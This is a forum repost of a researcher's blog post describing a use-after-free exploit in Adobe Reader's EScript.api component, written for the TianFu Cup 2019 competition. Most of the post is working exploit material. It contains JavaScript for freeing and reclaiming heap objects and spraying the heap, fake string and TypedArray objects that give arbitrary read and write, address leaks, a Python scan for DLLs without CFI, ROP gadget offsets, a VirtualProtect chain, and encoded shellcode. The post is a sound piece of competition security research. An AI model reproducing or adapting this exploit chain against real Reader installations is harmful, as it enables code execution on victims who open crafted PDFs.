Nytro Posted April 15, 2020 Report Posted April 15, 2020 TianFu Cup 2019: Adobe Reader Exploitation Apr 10, 2020 Phan Thanh Duy Last year, I participated in the TianFu Cup competition in Chengdu, China. The chosen target was the Adobe Reader. This post will detail a use-after-free bug of JSObject. My exploit is not clean and not an optimal solution. I have finished this exploit through lots of trial and error. It involves lots of heap shaping code which I no longer remember exactly why they are there. I would highly suggest that you read the full exploit code and do the debugging yourself if necessary. This blog post was written based on a Windows 10 host with Adobe Reader. Vulnerability The vulnerability is located in the EScript.api component which is the binding layer for various JS API call. First I create an array of Sound object. SOUND_SZ = 512 SOUNDS = Array(SOUND_SZ) for(var i=0; i<512; i++) { SOUNDS[i] = this.getSound(i) SOUNDS[i].toString() } This is what a Sound object looks like in memory. The 2nd dword is a pointer to a JSObject which has elements, slots, shape, fields … etc. The 4th dword is string indicate the object’s type. I’m not sure which version of Spidermonkey that Adobe Reader is using. At first I thought this is a NativeObject but its field doesn’t seem to match Spidermonkey’s source code. If you know what this structure is or have a question, please contact me via Twitter. 0:000> dd @eax 088445d8 08479bb0 0c8299e8 00000000 085d41f0 088445e8 0e262b80 0e262f38 00000000 00000000 088445f8 0e2630d0 00000000 00000000 00000000 08844608 00000000 5b8c4400 6d6f4400 00000000 08844618 00000000 00000000 0:000> !heap -p -a @eax address 088445d8 found in _HEAP @ 4f60000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 088445d0 000a 0000 [00] 088445d8 00048 - (busy) 0:000> da 085d41f0 085d41f0 "Sound" This 0x48 memory region and its fields are what is going to be freed and reused. Since AdobeReader.exe is a 32bit binary, I can heap spray and know exactly where my controlled data is in memory then I can overwrite this whole memory region with my controlled data and try to find a way to control PC. I failed because I don’t really know what all these fields are. I don’t have a memory leak. Adobe has CFI. So I turn my attention to the JSObject (2nd dword) instead. Also being able to fake a JSObject is a very powerful primitive. Unfortunately the 2nd dword is not on the heap. It is in a memory region which is VirtualAlloced when Adobe Reader starts. One important point to notice is the memory content is not cleared after they are freed. 0:000> !address 0c8299e8 Mapping file section regions... Mapping module regions... Mapping PEB regions... Mapping TEB and stack regions... Mapping heap regions... Mapping page heap regions... Mapping other regions... Mapping stack trace database regions... Mapping activation context regions... Usage: <unknown> Base Address: 0c800000 End Address: 0c900000 Region Size: 00100000 ( 1.000 MB) State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 0c800000 Allocation Protect: 00000004 PAGE_READWRITE Content source: 1 (target), length: d6618 I realized that ESObjectCreateArrayFromESVals and ESObjectCreate also allocates into this area. I used the currentValueIndices function to call ESObjectCreateArrayFromESVals: /* prepare array elements buffer */ f = this.addField("f" , "listbox", 0, [0,0,0,0]); t = Array(32) for(var i=0; i<32; i++) t[i] = i f.multipleSelection = 1 f.setItems(t) f.currentValueIndices = t // every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array. for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices Looking at ESObjectCreateArrayFromESVals return value, we can see that our JSObject 0d2ad1f0 is not on the heap but its elements buffer at 08c621e8 are. The ffffff81 is tag for number, just as we have ffffff85 for string and ffffff87 for object. 0:000> dd @eax 0da91b00 088dfd50 0d2ad1f0 00000001 00000000 0da91b10 00000000 00000000 00000000 00000000 0da91b20 00000000 00000000 00000000 00000000 0da91b30 00000000 00000000 00000000 00000000 0da91b40 00000000 00000000 5b9868c6 88018800 0da91b50 0dbd61d8 537d56f8 00000014 0dbeb41c 0da91b60 0dbd61d8 00000030 089dfbdc 00000001 0da91b70 00000000 00000003 00000000 00000003 0:000> !heap -p -a 0da91b00 address 0da91b00 found in _HEAP @ 5570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 0da91af8 000a 0000 [00] 0da91b00 00048 - (busy) 0:000> dd 0d2ad1f0 0d2ad1f0 0d2883e8 0d225ac0 00000000 08c621e8 0d2ad200 0da91b00 00000000 00000000 00000000 0d2ad210 00000000 00000020 0d227130 0d2250c0 0d2ad220 00000000 553124f8 0da8dfa0 00000000 0d2ad230 00c10003 0d27d180 0d237258 00000000 0d2ad240 0d227130 0d2250c0 00000000 553124f8 0d2ad250 0da8dcd0 00000000 00c10001 0d27d200 0d2ad260 0d237258 00000000 0d227130 0d2250c0 0:000> dd 08c621e8 08c621e8 00000000 ffffff81 00000001 ffffff81 08c621f8 00000002 ffffff81 00000003 ffffff81 08c62208 00000004 ffffff81 00000005 ffffff81 08c62218 00000006 ffffff81 00000007 ffffff81 08c62228 00000008 ffffff81 00000009 ffffff81 08c62238 0000000a ffffff81 0000000b ffffff81 08c62248 0000000c ffffff81 0000000d ffffff81 08c62258 0000000e ffffff81 0000000f ffffff81 0:000> dd 08c621e8 08c621e8 00000000 ffffff81 00000001 ffffff81 08c621f8 00000002 ffffff81 00000003 ffffff81 08c62208 00000004 ffffff81 00000005 ffffff81 08c62218 00000006 ffffff81 00000007 ffffff81 08c62228 00000008 ffffff81 00000009 ffffff81 08c62238 0000000a ffffff81 0000000b ffffff81 08c62248 0000000c ffffff81 0000000d ffffff81 08c62258 0000000e ffffff81 0000000f ffffff81 0:000> !heap -p -a 08c621e8 address 08c621e8 found in _HEAP @ 5570000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 08c621d0 0023 0000 [00] 08c621d8 00110 - (busy) So our goal now is to overwrite this elements buffer to inject a fake Javascript object. This is my plan at this point: Free Sound objects. Try to allocate dense arrays into the freed Sound objects location using currentValueIndices. Free the dense arrays. Try to allocate into the freed elements buffers Inject fake Javascript object The code below iterates through the SOUNDS array to free its elements and uses currentValueIndices to reclaim them: /* free and reclaim sound object */ RECLAIM_SZ = 512 RECLAIMS = Array(RECLAIM_SZ) THRESHOLD_SZ = 1024*6 NTRY = 3 NOBJ = 8 //18 for(var i=0; i<NOBJ; i++) { SOUNDS[i] = null //free one sound object gc() for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices try { //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0 if (this.getSound(i)[0] == 0) { RECLAIMS[i] = this.getSound(i) } else { console.println('RECLAIM SOUND OBJECT FAILED: '+i) throw '' } } catch (err) { console.println('RECLAIM SOUND OBJECT FAILED: '+i) throw '' } gc() } console.println('RECLAIM SOUND OBJECT SUCCEED') Next, we will free all the dense arrays and try to allocate back into its elements buffer using TypedArray. I put faked integers with 0x33441122 at the start of the array to check if the reclaim succeeded. The corrupted array with our controlled elements buffer is then put into variable T: /* free all allocated array objects */ this.removeField("f") RECLAIMS = null f = null FENCES = null //free fence gc() for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j) /* reclaim freed element buffer */ for(var i=0; i<FREE_110_SZ; i++) { FREES_110[i] = new Uint32Array(64) FREES_110[i][0] = 0x33441122 FREES_110[i][1] = 0xffffff81 } T = null for(var j=0; j<8; j++) { try { // if the reclaim succeed the first element would be our injected number if (SOUNDS[j][0] == 0x33441122) { T = SOUNDS[j] break } } catch (err) {} } if (T==null) { console.println('RECLAIM element buffer FAILED') throw '' } else console.println('RECLAIM element buffer SUCCEED') From this point, we can put fake Javascript objects into our elements buffer and leak the address of objects assigned to it. The following code is used to find out which TypedArray is our fake elements buffer and leak its address. /* create and leak the address of an array buffer */ WRITE_ARRAY = new Uint32Array(8) T[0] = WRITE_ARRAY T[1] = 0x11556611 for(var i=0; i<FREE_110_SZ; i++) { if (FREES_110[i][0] != 0x33441122) { FAKE_ELES = FREES_110[i] WRITE_ARRAY_ADDR = FREES_110[i][0] console.println('WRITE_ARRAY_ADDR: ' + WRITE_ARRAY_ADDR.toString(16)) assert(WRITE_ARRAY_ADDR>0) break } else { FREES_110[i] = null } } Arbitrary Read/Write Primitives To achieve an abritrary read primitive I spray a bunch of fake string objects into the heap, then assign it into our elements buffer. GUESS = 0x20000058 //0x20d00058 /* spray fake strings */ for(var i=0x1100; i<0x1400; i++) { var dv = new DataView(SPRAY[i]) dv.setUint32(0, 0x102, true) //string header dv.setUint32(4, GUESS+12, true) //string buffer, point here to leak back idx 0x20000064 dv.setUint32(8, 0x1f, true) //string length dv.setUint32(12, i, true) //index into SPRAY that is at 0x20000058 delete dv } gc() //app.alert("Create fake string done") /* point one of our element to fake string */ FAKE_ELES[4] = GUESS FAKE_ELES[5] = 0xffffff85 /* create aar primitive */ SPRAY_IDX = s2h(T[2]) console.println('SPRAY_IDX: ' + SPRAY_IDX.toString(16)) assert(SPRAY_IDX>=0) DV = DataView(SPRAY[SPRAY_IDX]) function myread(addr) { //change fake string object's buffer to the address we want to read. DV.setUint32(4, addr, true) return s2h(T[2]) } Similarly to achieve arbitrary write, I create a fake TypedArray. I simply copy WRITE_ARRAY contents and change its SharedArrayRawBuffer pointer. /* create aaw primitive */ for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY FAKE_ELES[6] = GUESS+0x10 FAKE_ELES[7] = 0xffffff87 function mywrite(addr, val) { DV.setUint32(96, addr, true) T[3][0] = val } //mywrite(0x200000C8, 0x1337) Gaining Code Execution With arbitrary read/write primitives, I can leak the base address of EScript.API in the TypedArray object’s header. Inside EScript.API there is a very convenient gadget to call VirtualAlloc. //d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0 dq ? console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16)) assert(ESCRIPT_BASE>0) Next I leak the base of address of AcroForm.API and the address of a CTextField (0x60 in size) object. First allocate a bunch of CTextField object using addField then create a string object also with size 0x60, then leak the address of this string (MARK_ADDR). We can safely assume that these CTextField objects will lie behind our MARK_ADDR. Finally I walk the heap to look for CTextField::vftable. /* leak .rdata:007A55BC ; const CTextField::`vftable' */ //f9c59c6cf718d1458b4af7bbada75243 for(var i=0; i<32; i++) this.addField(i, "text", 0, [0,0,0,0]); T[4] = STR_60.toLowerCase() for(var i=32; i<64; i++) this.addField(i, "text", 0, [0,0,0,0]); MARK_ADDR = myread(FAKE_ELES[8]+4) console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) assert(MARK_ADDR>0) vftable = 0 while (1) { MARK_ADDR += 4 vftable = myread(MARK_ADDR) if ( ((vftable&0xFFFF)==0x55BC) && (((myread(MARK_ADDR+8)&0xff00ffff)>>>0)==0xc0000000)) break } console.println('MARK_ADDR: '+ MARK_ADDR.toString(16)) assert(MARK_ADDR>0) /* leak acroform, icucnv58 base address */ ACROFORM_BASE = vftable-0x07A55BC console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16)) assert(ACROFORM_BASE>0) We can then overwrite CTextField object’s vftable to control PC. Bypassing CFI With CFI enabled, we cannot use ROP. I wrote a small script to look for any module that doesn’t have CFI enabled and is loaded at the time my exploit is running. I found icucnv58.dll. import pefile import os for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'): for file in files: if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'): fpath = os.path.join(root, file) try: pe = pefile.PE(fpath, fast_load=1) except Exception as e: print (e) print ('error', file) if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0: print (file) The icucnv58.dll base address can be leaked via Acroform.API. There is enough gadgets inside icucnv58.dll to perform a stack pivot and ROP. //a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll` r = myread(ACROFORM_BASE+0xBF2E2C) ICU_BASE = myread(r+16) console.println('ICU_BASE: ' + ICU_BASE.toString(16)) assert(ICU_BASE>0) g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret Last Step Finally, we have everything we need to achieve full code execution. Write the shellcode into memory using the arbitrary write primitive then call VirtualProtect to enable execute permission. The full exploit code can be found at here if you are interested. As a result, the reliability of my UAF exploit can achieved a ~80% success rate. The exploitation takes about 3-5 seconds on average. If there are multiple retries required, the exploitation can take a bit more time. /* copy CTextField vftable */ for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4)) mywrite(GUESS+64+5*4, g1) //edit one pointer in vftable // // /* 1st rop chain */ mywrite(MARK_ADDR+4, g3) mywrite(MARK_ADDR+8, GUESS+0xbc) // // /* 2nd rop chain */ rop = [ myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect GUESS+0x120, //return address GUESS+0x120, //buffer 0x1000, //sz 0x40, //new protect GUESS-0x20//old protect ] for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i]) //shellcode shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296] for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i])) /* overwrite real vftable */ mywrite(MARK_ADDR, GUESS+64) Finally with that exploit, we can spawn our Calc. Sursa: https://starlabs.sg/blog/2020/04/tianfu-cup-2019-adobe-reader-exploitation/ Quote